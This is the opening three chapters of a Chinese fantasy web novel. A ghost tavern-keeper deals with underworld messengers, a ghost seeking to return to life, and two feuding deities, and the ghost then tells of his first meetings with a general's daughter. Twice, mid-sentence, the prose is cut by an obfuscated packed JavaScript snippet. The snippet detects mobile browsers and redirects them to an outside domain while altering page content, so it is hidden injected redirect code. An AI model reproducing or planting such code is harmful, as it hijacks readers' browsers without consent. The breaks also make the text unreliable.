《焚犀填骨》 1. 这位是祖宗 人言,生犀能通灵,燃之有异香,沾衣带,人能与鬼通—— 前路漫漫,月色撩人,男人却无心欣赏,因为他的面前赫然出现了一座黑漆白瓦的高楼,抬眼望去,只见门头上龙飞凤舞地用笔墨写着“有间”二字。 男人像是久逢甘露的禾木,斯斯文文的脸上露出一抹欣喜的笑容。 酒肆环山抱水,背阴而建,四方院墙死死霸占着一颗三人合抱不拢的老槐树。 一楼开门做生意,门窗大敞,似一头沉睡的野兽张着血盆大口等待猎物送上门。厅堂内则热闹地聚集着一群脚夫打扮的男人们围坐在一起侃大山,喧嚣的划拳声为这诡异的场所增添了几分生气。 “……我倒是希望能得陵光神君的眷顾将来娶个和她一般漂亮的媳妇儿。据说这位神君自己就是个极在乎美貌的,有一年祭天游的时候,神明们惯例下界来散福德,结果一看,好家伙,人间供奉的全是她忿怒相的男身。这位神君当时脸就绿了,挨个托梦和信众们解释说自己是个貌美如花的大姑娘……” “啧啧!说起这位南方武神就不得不提到另一位,”脚夫模样的少年朝南边拱了拱手,“丹穴帝君才是南方主神,传说他能涅槃重生,法力无边与天地同寿,这位陵光神君就是他的女儿……” “你这小子毛都没长齐知道什么,神明诞生于天地,乃聚天地之灵气化形而成,哪里来的女儿,你莫不是喝多了把俺们当傻子,那位神君明明是他的夫人……” “你这才是胡说八道,陵光神君是出了名的九州第一国色,俊男配美女,自然是仙家最俊美的七太子沧溟仙君的老婆啊,……” “绝不可能,神明怎么会和仙家结亲,更何况沧溟仙君可比陵光神君小好几万岁……,话说回来,陵光神君不是死了两千多年了?人间居然还供着她的庙观吗?” “啊?神明也会死吗?不能吧,俺家那旮瘩陵光观很灵验的……” “……” 众人正七嘴八舌地争论不休,有一个吊梢眼的壮汉轮着袖子像个显眼包一样挤到人群的最中间振臂高呼:“哎哎哎——你们这些都太老套了,让我来讲个新鲜的……” 他将人胃口吊得足足的,见众人皆是一脸“你快说”的表情翘首以盼,这才心满意足地继续讲。 “传说九州之内有一个老太婆,是死了万万年也不肯去投胎的,连长居阴曹地府的大人们见了也要称恭敬地称她一声姑奶奶。相传她有起死回生的法术,能让死人还阳,长生不老,连阎王爷也要退避三舍,给几分薄面……” 可惜这故事刚起了个头便遭人打断,“少他娘的放屁!这世上还有阎王爷见面都要称姑奶奶的人?那得是个满脸褶子的千年老妖吧……哈哈哈哈……”满脸胡茬的汉子面色坨红,说话间伴随着喷薄而出的酒气,连同语气里的质疑一起送进在场众人的耳朵。 “嘿!你还别不信!” 方才说话的那人哪能让人抢了风头,连声音都拔高了几分,瞪眼道:“神宗皇帝都知道吧?那也称得上是几千年来诸多皇帝里的一位奇葩。世人都说他和他乳娘方氏有一腿子,当时方氏走的时候神宗皇帝那哭丧得哟……眼看着就要给那女人殉葬。 结果您猜怎么着? 方氏第三天居然从棺材里爬出来吃了三大碗饭,神宗皇帝失而复得,力排众议娶了方氏做妻子……据说方氏死后就是求到那位那里还的阳……” 有间酒肆的老板闻砚闲来无事,趴在柜台上支棱着脑袋听男人们瞎扯淡,听到这里她觉得自己比较有发言权,“其实也不算还阳吧,本来就是黑白无常抓错了人,她顺势而为……而且她也不是老妖婆,长得略有姿色……” 男人再次被人质疑,扭头一看还是个俏生生的小姑娘,面子上顿时便兜不住,反驳道:“呦呵,这还是个俏娘子,神宗皇帝过世的时候你怕是还在你娘的肚子里揣着呢,哈哈哈哈……” 男人说着说着,脊背没由来得一凉。 他下意识地撇过头不敢再看,好像在避开什么似的,用他那蒲扇大的手捏起小小的赤金酒盅猛灌了一口,再抬头时只见闻砚懒懒散散地靠在柜台边上,一双桃花眼就那么似笑非笑地望着自己,身上哪里还有半点方才阴冷湿滑的感觉。 难道是今日这酒格外劲儿大,没喝几口便醉了?他心中暗自嘀咕。 身后人堆儿里扎着的一个红脸瘦猴男却兴奋得眼珠子都要掉出来了。 他睁着通红的双眼一脸贪婪,“要真有你说的那么邪乎那我们还拉个屁的船,直接去寻那老妖婆,到时候岂不是脑袋枕着银子睡,金山银山应有尽有了!!还是大哥有见识!!” “是啊是啊,还是这位大哥见多识广!!” “……” 众人的奉承让方才起话头的那壮汉好好享受了一把众星捧月,心情大好,再次拿起酒盅往嘴里塞。 这次却打了个空军。 他顿时将手往桌上一拍,瞪着牛眼冲闻砚骂道:“再给爷们添壶酒!你个小娘们一点儿眼力见都没有,没看老子酒杯子空了……拿个什么女人家的玩意儿小里小气的,给老子换个海碗……” 他正喊得欢快,门外一个白净的书生腆着一张粉团似的脸抱着一只双耳白玉瓷魂瓶匆匆忙忙跑进来,打断了这粗鲁的叫骂。 “姑奶奶,小的来迟。” 来人满头大汗地向酒肆老板赔罪。 “你管这小娘们叫什么?姑奶奶?你们听到没,他管这么个漂亮妞儿叫姑奶奶,笑死老子了。” 黑脸大汉自顾自地笑着,白面书生还跪在地上没有插话,闻砚微微笑,店里的伙计阿三则目光同情地看着刚进来的小白脸。 “小白哥哥,这几个鬼你还是马上带走吧。”阿三好心提醒道。 闻砚还在笑,只是笑容让白无常有点怀疑自己能不能看到明天的太阳。 冥界谁不知道,想从闻砚大人这里带人走,家底儿都能被掏干净,可若是这姑奶奶连家当都不要,怕是这事儿便善了不得。 怪就怪他和老黑打赌之前多喝了两杯,稀里糊涂输了局子不说,还附赠一份精美大礼包——来有间酒肆领鬼。 眼前这个……姑且算个姑娘吧,传说是神魔大战的时候幻化出来的,是既无神格也无三魂的怪胎,可却连十殿阎罗也对她无可奈何。 传说,也是传说哈! 这么个勉强用七魄凑出来的东西,曾把十殿阎王按在地上玩儿,而理由嘛……据说只是因为守黄泉的鬼差不肯给她办户籍文书…… 但不管怎么说,这位就这样在忘川城里安顿下来,一住就是两千多年。 偏这祖宗半点儿都不安生,明明住在忘川却偏偏喜欢在九州各处的黄泉入口开酒馆,抢了孟婆的生意不说,还随意收留鬼魂,弄得他们这些地府务工人员天天过着和钉子户周旋这样水深火热的生活。 可别管心里再怎么委屈,白无常还是打起精神继续讨好:“姑奶奶,您可怜可怜孩子,将这几个混账玩意儿交给小的吧。” 他眼珠子转了几轮,眨了眨眼,仿佛即刻就能落下泪来似的提着膝盖往前挪动两步:“昨儿来了个新鬼,死活闹着要还阳,姑奶奶姑且拿去玩儿?” 闻砚看着眼前这厮,不由得感叹,都说黑白无常,老黑忠厚,小白活络,如今看来果真如此。 还是聪明人,哦,不,是聪明鬼好,完全用不着她调教自己就能把事儿做好。 她瞬间觉得这粉团儿似的人儿可爱的很,微微笑了笑:“起来说话吧,跪在地上做什么,难道我是什么很凶神恶煞的鬼吗?” 白无常哪敢接话啊,勉强挤出一个比哭还难看的笑,谄媚道:“姑奶奶沉鱼落雁,闭月羞花,肤如凝脂,国色天香,琼花玉貌……” “等等等!!”闻砚觉得他再夸下去自己这张老脸实在挂不住,摆摆手,“带来的新鬼留下,这几个你带走吧,下不为例。” 白无常因第一次来,很拿不准眼前这位的心思,小心翼翼地抬起头觑了一眼,就看见一双笑意不达眼底的眸子黑多白少,如千年古潭深不见底。 他瞬间冷汗直窜,感觉自己背上犹如千金重,再不敢看第二眼,老老实实地垂下头将带过来的魂瓶双手奉上。 谁知道他这气儿还没顺过来,就听窝在那堆糙汉子里的一只斯文鬼扑通一声跪在地上大声道:“姑奶奶,某想还阳。” 他说什么? 白无常简直怀疑自己今日出门带错了耳朵。 他急切地循声望去,那不知死活的家伙居然半点没有自觉,还在磕头大喊:“求您成全,我什么都愿意为您做……” 白无常心中急得老房子着火,一跳三丈高。 完了…… 完了…… 这下全完了…… 闻砚大人肯定会把他拆成一百零八块儿打包送给老黑,只希望到时候老黑能心灵手巧一点不要把自己的碎片拼错了位置…… 他两眼一翻,此刻的内心只剩无限悔恨,为什么!为什么自己没能早点把这几个鬼一网打尽!!待他回去定要把登记造册的吏官打得妈都不认识!!! 然而这些都是后话。 很显然,现在的闻砚对小白并没什么兴趣,她转头不动声色地打量着眼前那个说话的男子,通身布衣,腰间却用长长的丝线络子挂了只缂丝的荷包。 他面容清隽,举止斯文,从进门开始就未曾言语一句,存在感低调的好像一缕幽魂…… 好吧,他就是幽魂。 可这也太低调了些,明显与这些糙汉脚夫们不是同路人。 见闻砚不语,伙计阿三立刻会意,很有眼色地将那几个满嘴胡吣的鬼汉子一抓一个准地塞进镇魂瓶,又将瓶子塞进白无常怀里,最后在一声“走你”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他亦步亦趋,俯身低头弯腰行礼,中途还因动作不怎么熟练卡了两次壳,看得出他活着的时候多半是个少爷,这就是顶好的命格了,此刻却不知为了什么人在这里卑躬屈膝。 闻砚心间一动似乎被什么东西咯噔一下卡得生疼,勉强弯了弯嘴角扯出一抹不怎么温和的笑容,道:“这是小事不值一提,我要说的是另一桩事儿,得先和你说清楚。” 她清了清嗓子:“回魂不是什么难事儿,但去了阳间你的魂体需得承载你我二人的七魄,这是很耗费精力的事情,因此白日里你不可四处行走,只能呆在阴气汇聚的地方。”还一本正经吓唬他:“不然你的魂魄会被烈日烧成灰。” 说完,她伸出一根手指轻轻指了指岫身边摆放的刚刚用冥纸折出的马车,“找不到的地方话躲在马车里也可以。” 岫:“……” 他没有立刻答应,而是很慎重地思考了一刻钟,慎重地提出疑问:“若是昼伏夜出,可能见人?” 闻砚千年来见惯了各种各样的要求,揉了揉眉心,见怪不怪道:“这是自然,我的造梦之术还不错,而且你还能吃点人间烟火,上次求到这里来的鬼想要还阳就是为了再吃一次惠香楼的酒菜,惠香楼你知道吗?据说是京城第一酒楼。” 岫不知道,他没有去过酒楼。 打他记事的时候起,吃药就比吃饭还频繁,除了医官吩咐的吃食外,半点旁的东西也没吃过,酒楼里的饭菜是什么味道?他不知道。 闻砚半天没有等到回应,抬头便看到岫发呆的样子,心中顿了顿,不禁暗自懊恼。 近来记性越发坏,她都忘了自己已有数月不曾离开忘川,谁知道这个时候外面是什么年岁,人间朝代更迭总是很快,也许那个什么惠香楼早就变了模样,她说这些简直鸡同鸭讲。 “咳咳,”闻砚掩饰着自己的尴尬,两指一掐迅速捏出个诀,将方才折好的纸人变作肉身,道:“你进去吧。” 岫:“……” 是吧!对吧!她刚刚就是在折他的身体啊…… 闻砚却并不管眼前的男人在想什么。她忍不住拎起自己变出来的□□和岫的模样对比许久,时不时还发出啧啧的称赞,显然对自己的手艺无比满意。 自顾自地欣赏了好一会儿自己的杰作,闻砚再次翻动指尖,将刚才折好的纸马车往屋梁上一抛,言出法随,纸马车在法术的催动下摇摇晃晃地变成缀满青铜铃铛的黑色错金马车。 岫:“……” 闻砚无视此人的震惊,邀请他,“岫公子,请吧。” 岫便感觉自己的腿脚像只提线木偶似的被闻砚的话牵动着一板一眼爬上马车,入座。 一切如往常一样,忽然,楼下的酒肆大堂传来一阵骚动。 2. 大人和稀泥 “阿三?” 闻砚高声疾呼。 推门而入的却是酒肆的另一个伙计阿金。 她端来安神的汤药奉上,笑盈盈道:“主人,犀角已经备好,人界的时间朝瞬夕逝,若去得晚最后物是人非反而徒增遗憾,您饮过生魂散后快带岫公子去人间吧!”阿金拦住闻砚,俯身贴耳小声同她耳语:“您的阳气再用不了几日,好不容易遇上个生辰八字合适的,您……” 闻砚当然听得懂阿金的未尽之言,因为没有魂体的缘故,她没有办法吸纳阳气,时间一长等着她的只有魂飞魄散。 而阿金作为精羽书器幻化而成的器灵,生来就博览群书,不知道从哪本古籍上找出来借魂补阳的法子,这才有了遍布九州的有间酒肆,借此寻找生辰八字和闻砚一样的鬼魂。 阳气对闻砚来说珍贵至极,何况,不只是她自己需要阳气,阿三和阿金是器灵同样也没有生魂,无法靠自身得到阳气。她这是一个人吃饭喂饱全家,身负重任呢。 她讪然,又不舍得对阿金说什么重话,免得拂了小姑娘的脸面,只好将心里那股子怪异压回去,半玩笑半警告道:“你和阿三搞什么我不知道,不过要提醒她别把这处给拆了就是,否则罚你们两个统统去给我擦地板!” 她曾为了在九州各处建酒馆花费了宝贵的两刻钟去和十殿阎王“讲道理”,这才借得几个小鬼勉强修葺出几处陋室。 阿金看着她主人赤脚落地的白虎皮质的地毯,嘴角不由扯出一个僵硬的笑容:“……” 你特么管这叫陋室?? 楼下的吵嚷声越来越大,越来越大,最后居然有人不顾体面地高呼:“陵光!我知道你在这!藏头藏尾算什么本事,你给我滚出来!” 陵光? 闻砚目露困惑,陵光神君吗? 不是说这位战无不克功无不胜的南方武神都深埋黄土好几千年了吗?怎么会出现在自己的酒馆里呢? 没等她理清思绪,忽然,大堂里传来“啊!!”的一声尖叫,紧随其后的一句“主人!”则被捏在喉咙里勉强发出‘咕噜咕噜’的声音。 伙计阿三被来人徒手一挥揪住命门,化形变回原身弯弓三青,发出阵阵似青鸟啼哭般“嗡嗡”的悲鸣。 阿金顿时警铃大作,下意识飞身朝闻砚扑去。 屋外传来的强大法力几乎将阿金的灵体震碎。 “主人,快走!” 她顾不得自己慢慢消散的身体,急切地催促着,眼中写满恐惧。 可惜闻砚看不懂这么复杂的情绪。 她偏着头,眼睁睁看着阿金变回一支泛着银光的狼毫笔。 器灵护主,是不会轻易变回原形的,除非有比器灵主人法力更高深的人压制住对方的法力。 闻砚低头弯腰捡起阿金在袖子上蹭了两把,随手插进发髻里,推开门居高临下地望向楼下大堂里站着的黑衣少年。 “虽说来者皆是客,客迎远方不亦说乎,可是这位客人,你一上来就我的砸场子,是不是不太礼貌?” 她表明立场,“我是酒肆的老板,公子手上那柄青色生锈的弓是我的……伙计。” 闻砚原本想说是武器,仔细想想又怕别人觉得是要马上开打的意思,急中生智想到“伙计“”这个更合适的称呼。 黑衣少年不语,手上还拎着一把布满符文的青铜大弓,正是被打回原型的阿三。它远远听见主人的声音,使尽浑身解数振动弓弦,回应主人的召唤,声声铮鸣。 闻砚飘到楼梯中央居高临下地看着来人,面无表情地摊开手心,“现在,请你把她还给我吧。” 伸出的手掌苍白死气,一道被刀斧破开皮肉、挑断筋骨的伤口贯穿虎口,几乎要将手掌剖成两半,而手掌的主人早已失去承载生命的□□,伤口不会愈合,也不会流血,便拿细密的针脚勉强将其缝合,虽然丑了些,但凑合着使用倒不受影响。 的确看得出眼前这一位是一个死的不能再死的鬼。 少年看着闻砚,一动不动,眼睛里似有什么闻砚看不懂的隐秘情绪在其中流转。 时间一分一秒地流逝,两人像两匹一南一北的马一样谁也不让谁地僵持不下。 终于,在闻砚彻底失去耐心之前,不速之客率先败下阵来。 他咬牙切齿恨声道:“你还真是一如既往的懦弱,遇事只会躲,还有你那收破烂的癖好真是千万年也改不了,真不知道一把破弓箭有什么值得宝贝的。” 大有一副我不还你能奈我何的模样。 xxx!!!怎么会有人长了张那么好看的脸却能说出如此让人厌烦的话!!! 闻砚不解,心里不禁冒出前两日从人间小鬼那里新习得的俚语——无语他妈给无语开门,无语到家了。 请问,谁认识这位大哥吗? 他们很熟吗? “哎……” 她无奈地叹了口气,毫不避讳地朝楼下砸场子的黑衣少年狠狠翻了个大白眼,然后左手伸向右边袖子里掏啊掏,最终掏出一只半透明的翡翠葫芦瓶。拇指划过指腹,朱唇轻启:“收”,阿三便应声“咻”得一声钻进紫金翡翠葫芦瓶中。 阿三在手,闻砚不用投鼠忌器,心下悄悄舒了口气,再开口时语气与方才的客气完全不同,冷冽又低沉。 她不耐烦地冲楼下的那少年道:“我这里高低算是个酒肆,开门做生意客自四方来,不论你是谁,你若是来喝酒我没有不欢迎的,可若是来找茬,也别怪我不客气。” 谁料少年并不害怕,反而言语间颇为嘲讽,“就凭你?三魂不全也不改你这爱逞能的性子,你若是还在……” 他“神位”二字还没说出口,一柄萦绕着飘飘仙气的银白色真元的三叉宝剑说时迟那时快,“碰”得一声破风而入,直逼厅堂中这位浑身着黑衣的不速之客。 剑锋贴着黑衣少年的脸颊擦肩而过,堪堪停在厅中,被黑衣少年浑身散发的黑色真元包裹住动弹不得。 黑衣少年说着话被人打断,火药桶似的脾气说炸就炸,恨声道出屋外人的名讳。 “沧!溟!” 沧溟:“我在呢。” 闻砚这才在一片混乱中瞧清楚屋外站着的那位剑主人,身着蓝色广袖长衫,抹额束发,一派君子风仪。 她隔空与来人抱拳拱手行礼,“原是沧溟仙君,失礼失礼。” 因匆匆听黑衣少年话中提到“沧溟”二字,又长得这样好看,闻砚实在很难猜不出面前这位蓝衣长发少年郎正是上天庭中苍梧仙帝那老头儿的第七子沧溟仙君。 那这位找她麻烦的黑衣少年是? 她转头朝那人望去,沧溟便像看出她的疑惑似的,笑着开口冲方才差点被他扎成串儿的黑衣少年道:“执明神君,好久不见。” 居然是冥界主神? 闻砚汗颜。 她当初神识飘散,一路向北,最终飘到冥界的忘川城,因缘际会跌进冥界主神的福地洞天里的一潭灵泉,托那灵泉的福气得以聚魄化形。 说起来,执明神君算得上她的再生父母。 她干巴巴地笑道:“原来是执明神君,失敬失敬。” 一个是失礼,一个是失敬,足见闻砚词汇之贫乏。 沧溟含笑:“……” 执明瞪眼:“……” 六目相对着实尴尬,但好在也没有尴尬太久。 一黑一蓝的两位默契十足,几乎同一时间利刃出鞘直指对方,同时发难。 “你来这里做什么?” “你来这里做什么?” 沧溟明显有备而来,说瞎话滴水不漏:“听闻有间酒肆的‘解千愁’酒香醇厚浓郁,令人神往,途径此地特来尝尝。谁知还没进门就撞见执明神君正在为难一个小姑娘,我怎好坐视不理……” 他不疾不徐,说的话又温柔又谦和。 相比之下执明神君的言辞不仅不够大度,还十分的孩子气。 他怒目圆瞪好像受到了什么奇耻大辱一般,额角青筋直跳,“呵,路过?自她……去了,我与你们仙族便没什么好说的。 而且,我说过仙族不许踏进冥界半步,你是不是年岁渐老痴呆症发作,忘了我说过什么吗?居然还敢路过冥界?” 闻砚心下一惊,心道难道是传说中两男争一女的戏码? 她顿时精神汇聚,这可是千万年来最好看的画本子!!百看不腻!!! 闻砚赶忙拿余光去瞟沧溟的脸色,期望从沧溟仙君那张万年如一日的俊脸上找到故事的蛛丝马迹。 果然,沧溟干净的脸上流露出淡淡的哀伤,但只一瞬便又恢复如初,笑眯眯道:“不知道执明神君出关,不然绝不会走这条路,实在是出门没看黄历,晦气。” 优雅的仙君大人幽幽还击,猛戳眼前这位小神君的肺管子:“执明神君沉睡已有千年,也不知闭关这许久身子骨是否依旧如从前。对了,作为姐夫我想提醒你一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363379|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日之事若是让令姐知晓,恐怕不会领执明神君你的情呢。” 执明暴怒,“你竟有脸提她?找死!!” 原来是小舅子和姐夫之间的恩恩怨怨,闻砚大失所望,眉宇间尽是遮也遮不住的落寞,并没有意识到两人古怪的神色皆因她而起。 而她不想再与两人纠缠下去。 一来她还没想好如何面对砸二话不说上来就她摊子的再生父母,二来她也并不想招惹面前这个看起来是帮她打抱不平实际上藏着八百个心眼子的莲蓬仙君。 再说了,她三魂缺失,失忆已久,什么陈年密辛,就算挖出来又怎样?她铁定睡一觉就忘了。 不记得的秘密等于没有秘密,还是正事儿要紧。 正事儿是什么?当然是采阴补阳……啊不对,是借魂补阳。 闻砚当机立断:“二位既然是旧相识,不如坐下来共饮两杯,有什么误会可以慢慢谈嘛,呵呵呵……”说话间已经悄悄背着手捏了个诀将酒坛子送到两人的面前。 可惜一黑一蓝两人大眼瞪小眼,打定主意敌不动我不动,没有一人伸手去接。 闻砚还没有被人这样拂过面子,尴尬地摸着鼻尖,“咳咳”,她轻轻咳嗽了两声,决定使用最古老的遁术——尿遁。 毕竟她只是记性不好,不是真的傻。 这两位一个是管辖一方的神明,一个是仙界年轻一辈中的佼佼者,若是平日里自然是不怕,偏偏现在正是她阳气虚弱五行不调法力微弱的时候,外头两个她一个都打不过,还是三十六计走为上。 “呵呵,二位慢慢品鉴,我身体不适,先失陪了。” 闻砚话音还留在大堂,魂则一溜烟飘进方才冥纸折成的超豪华黑金马车里。 溜了溜了。 她屈指一推催动法术使四匹高头骏马齐齐应声扬蹄飞驰。 若说马车外观已经是极致的尊贵但还保留了几分低调内敛,那马车内的陈设则比可以称得上张扬到极致的奢靡,不仅壁垣上贴满金箔,还用鸽子蛋大小的金刚石做钉子镶住这满墙的纸醉金迷。 而用来照明的灯更是稀世仙品——四颗碗口大的东海鲛珠,正由金丝线编织的珞子挂在四角散发出柔和如皎月般的光芒,鼻尖似有乳香萦绕,配合屋内一水的紫檀陈设,皇室御用也比不上。 马车的主人此时却无心欣赏自己的杰作。 她旁若无人地换了件黑色长袍,连及至脚踝的长发一同包裹进无尽黑暗里,只露出一张了无生气的苍白的面颊,以及眼窝里泡着两丸漆黑的龙葵子。 做完这些似乎很耗费精力似的,懒散地半倚在罗汉床上,半张脸埋在阴影里不知道在想些什么。 马车外万籁寂静,只能听见遥遥传来的青铜铃响。 山野黄泉路,独自飞驰的青铜马车,金光闪闪的车辕和红唇黑袍的女鬼。 要是旁人看见这一幕定会吓得魂不附体,可惜岫是个庄重的鬼,尽管车内空间足够宽阔,他依然很守规矩地跪坐在末座的角落里,低着头一副心事重重的样子,根本没感受到此时此刻的诡异氛围。 “你要回去见什么人吗?” 刚刚没从神仙身上听到的八卦,闻砚觉得应该从凡人,哦,不,是鬼魂身上找补回来,以此弥补自己受伤的小心心。 因此期盼地望向岫。 岫乍听闻砚的问话脑子还有点打结,不知作何回答,抬着一双清澈的眼睛看过来。 闻砚便又就着方才的问题重复一遍:“你回去是想见什么人吗?” 她还同他解释说:“偶尔我也会占用你的身体,如果不提前对对口供,到时候诈尸还魂吓到活人就不好了。”笑着安抚对方,“别担心,阿金就喜欢吓唬小鬼,传闻也都是讹传,实际上我很少吃鬼,也并不喜欢打架……” 这回岫听明白了,幽深暗淡的眸子里终于浮现出一点点星火,苍白的脸色也紧跟着变得温润鲜活起来。 他唇角弯弯,“是,我想回去看看她。” 很显然,他嘴里这个“她”是个女人。 闻砚不知从哪里摸出一杆沉水木雕的老烟枪,嘟起嘴唇若有似无地吐出一个烟圈,慵懒地伏在手边的紫红色描金线大迎枕上听岫娓娓道来。 潜龙十四年,燕北都护府退胡有功,定北侯杨遇奉旨进京领赏。 随行的还有定北侯最小的女儿。 “她是我见过最鲜妍明媚的女子。” 岫这样说。 3. 木兰是女郎 当时他坐在会仙楼临街的包房里向下望,一眼便看见那个身着霁红色胡服,神采飞扬的十四岁少女。 少女正绷着腰,挺身御马,笑容明媚灿烂地随她父亲一起享受着京都百姓们的鲜花与掌声。 真鲜活的人啊! 岫后来回想,自己大约在这一刻已经命中注定般对杨浅一见钟情。 而彼时的他并没有意识到这一点,只道是京都城里一次普通的热闹。 这普通的热闹持续了三天三夜,最终在皇帝陛下的召见下得以寿终正寝。 岫躺在院中的紫藤树下的躺椅里听小厮们给他讲京中趣闻。 有清风拂面,伴随着小厮绘声绘色的讲述,岫的思绪跟随着飘远。 定北侯杨氏一门,历经三朝,代代为将,自本朝开国以来更是战无不胜,攻无不取,一路加官晋爵,到了杨遇这一代已然手握实权分封而治,很受君主忌惮。 如今再次打败蛮族,风头无两,在百姓中的呼声一声高过一声,甚至有传闻说北地百姓只知杨家将,不知赵家主。杨家属实是功高震主,封无可封。 因此京都的贵族圈子里人人都猜测定北侯此次进京是大凶之相。 可惜,大家低估了皇帝陛下的容人之量,也低估了杨家百年立于世的智慧。 杨浅,这个与京都的千金小姐们都不一样的,像一匹小马驹一样充满生命力的十四岁少女,仅用三句话就打破了这个千古僵局。 她身量纤长,四肢匀称,有着京城闺女们少有的少年气,也有着北方边陲小城带来的质朴与天真。 “陛下不如封赏臣女,阿其克那老贼的头就是臣女亲手砍下的,与定北侯可没什么干系。” 少年人的桀骜不驯全挂在脸上。 武宗皇帝听后哈哈大笑,似乎没想到这封无可封之下居然还能有这样一出精彩大戏,更没料到自己苦恼了两个多月的事情居然会以这样的方式圆满解决。 就这样,定北侯独女杨氏得封幼慧郡主,定北侯府只得赏赐黄金万两,犒赏三军。 圣旨桢定门发出一路由大太监唱名唱到定北侯府,全京都的人都知道。 原本这同岫都没什么关系,他自幼患有腿疾,被视为家族的弃子,这样戏文里张扬又恣意的人生于他而言不过是天边云月,虚无缥缈,一笑尔尔。 可偏偏造化弄人。 春宵一刻值千金。 青楼楚馆,烟花柳巷,是多少老少爷们解闷儿的风水宝地。春风度绝对算是京都城里最有名的销金窟。 岫的双腿不良于行,本不该出现在青楼这样的场合。 偏他第二次遇见杨浅就是在春风度。 少女依旧一袭红衣,束起的马尾后面坠着一颗叮叮当当的银丝响铃,手握一杆三角挂霜银头长枪,一枪挑破了春风度的大门。 “杨潜!!你给我滚出来!!” 声音气如洪钟,架势盛气逼人。 知道的杨潜是她兄弟,不知道的还以为是她的丈夫出来喝花酒。 “我说小娘子,你一个娘们怎么跑来我们老爷们儿的地方了?去去去……” “哈哈哈,莫不是这位小娘子也……” “来者都是客,不如陪大爷喝一杯怎么样啊……” 月上柳梢头,京都城里的酒肉纨绔聚集在一起推杯换盏,早就喝得门朝哪儿开都记不得,哪里认得出来眼前的女郎是定北侯府杨家的后人。 更有胆子大的借着酒色把爪子使劲儿往小娘子身上摸。 他们调笑着,嬉戏着,丝毫没有来这种地方的羞惭之心。 女人温顺如羊……眼前这个嘛……有点儿脾气的羊,但也大差不差。 岫本是看个热闹,没料到热闹还有一天能落到自己头上。 “兄弟,兄弟,好哥哥,借我躲躲。” 杨潜不知道什么时候摸进他的包厢。 !! 银光剑影扫过,杨浅将手中那杆长枪“咻”得一声,堂堂正正地扎在春风度的十二尺镇店台柱上,接着少女借势一个飞身垫脚跃上二楼,猛得飞起一脚,一喘一息间轻松踹碎了岫的房门。 “叨扰了。” 少女双手抱拳微微弯腰行作揖。 她对岫枯坐的身下干瘪的双腿视若无睹,没有吃惊也没有鄙夷,向寻常人一样与他行了个礼,随后将藏在桌子下的杨潜一把捞出来。 在场的几百双眼睛心照不宣地同时望向杨浅手里的杨潜。 “你回到京都,不去看看二伯母和四婶婶,不去看文姐姐,也不去山西大营点卯,居然敢跑到这里来寻欢作乐,你找死啊?” 杨浅率先问责。 杨潜当众被杨浅揪出来,面子上顿时便挂不住,嚷嚷辩解:“我……我先同老友相聚,这也要同你汇报吗?而且四婶婶和二伯母那里我已经派小厮去打过招呼了,文……文小姐是大家闺秀已经定下人家,我们年岁渐长哪能还和小时候一样。我和你说啊……你……你是我妹妹,我不同你计较,但你也不能总是仗着武艺出众就大打出手,小心以后没人敢娶你!” 杨潜说完,还心虚地想要寻求旁人的认同,赶忙拉住离他最近的岫的胳膊问:“是吧兄弟,她这样肯定不讨男人喜欢!” 于是这场热闹里的数百双眼睛又从杨潜身上齐刷刷地转向被迫卷入这场硝烟的池鱼岫公子。 岫自出生以来,听过最多的就是“可惜是个瘸子”。 这些人见他或同情或鄙夷,但当着他的面都自持教养对他三缄其口,必得等到转过身再摇摇头,或怜惜感叹,或幸灾乐祸地说上一句“天妒英才,可惜是个瘸子。” 因此他平生最恨大庭广众下被人议论,显然此刻众人聚焦在岫身上的目光几乎将他灼烧殆尽。 而始作俑者,正是个妄图用男人身份压杨浅一头的泼皮无赖。 岫不知为何,心中熊熊怒火喷涌而至,他绷着脸,语气平静又疯狂:“倒也确实没有十六郎讨男人喜欢。” 杨潜在杨家排行十六,上面有十五个哥哥,都死在战场上。 有人说是杨家杀孽太重,所以子孙后代早夭。 也有人说是杨家供奉邪神,用家族根基换百年荣华。 可不管背后如何议论,当着杨家人的面这话没人敢说,也没人敢叫杨潜十六郎。 岫说这话,是对杨潜赤裸裸的报复。 但也是对杨家无数英灵的折辱。 杨浅薅着杨潜头发的手渐渐放松,甚至顾不上自己这个不成器的胞兄,一双凌厉的凤眼死死盯住眼前赢弱的少年。 诡异的是,屋内的漫天红纱和飘散的纸醉金迷的脂粉味让原本剑拔弩张的气氛硬生生平添出一丝暧昧。 方才还在屋里弹奏仙乐的琵琶女被突然打断,手足无措地瑟瑟握住手中抱着的紫檀木曹琴琵琶,手指因紧张被琴弦割破,少女的鲜血瞬间在琵琶琴面上氤氲开来,宛如红莲。 “哟!是定北侯府的小郡主啊,怎么?还想在大庭广众之下欺负一个病秧子不成?” “你别说,这病秧子长得确实不错,郡主娘娘说不定是看上这小白脸了哈哈哈……” “……” 酒客们在这销金窟里灌了不少黄汤,更何况这京都城掉块砖头下来都能砸死三个皇亲国戚,当然是看热闹不嫌事儿大啊! 琵琶女咬着嘴唇轻生啜泣着,手上动作却一刻不敢停,继续方才的曲子,指尖抡得飞快。 “你先下去。” 杨浅把怀里的手帕扔给琵琶女。 琵琶女劫后余生,大喜过望,用手帕捂住还在渗血的手指千恩万谢地躬身退出去。 同时,银白色泛着冷光的枪头这次指向年轻的公子。 杨浅冷冷道:“刚才的话,你有种再说一遍!” 被枪指着的漂亮公子不慌不忙地拾起桌上早已冷掉的稠酒,自顾自地斟了两杯,然后在众人的注视下两杯相碰,一杯空撒,一杯一饮而尽。 “岫不该口出狂言,杨家满门忠烈,我为方才的话道歉。” 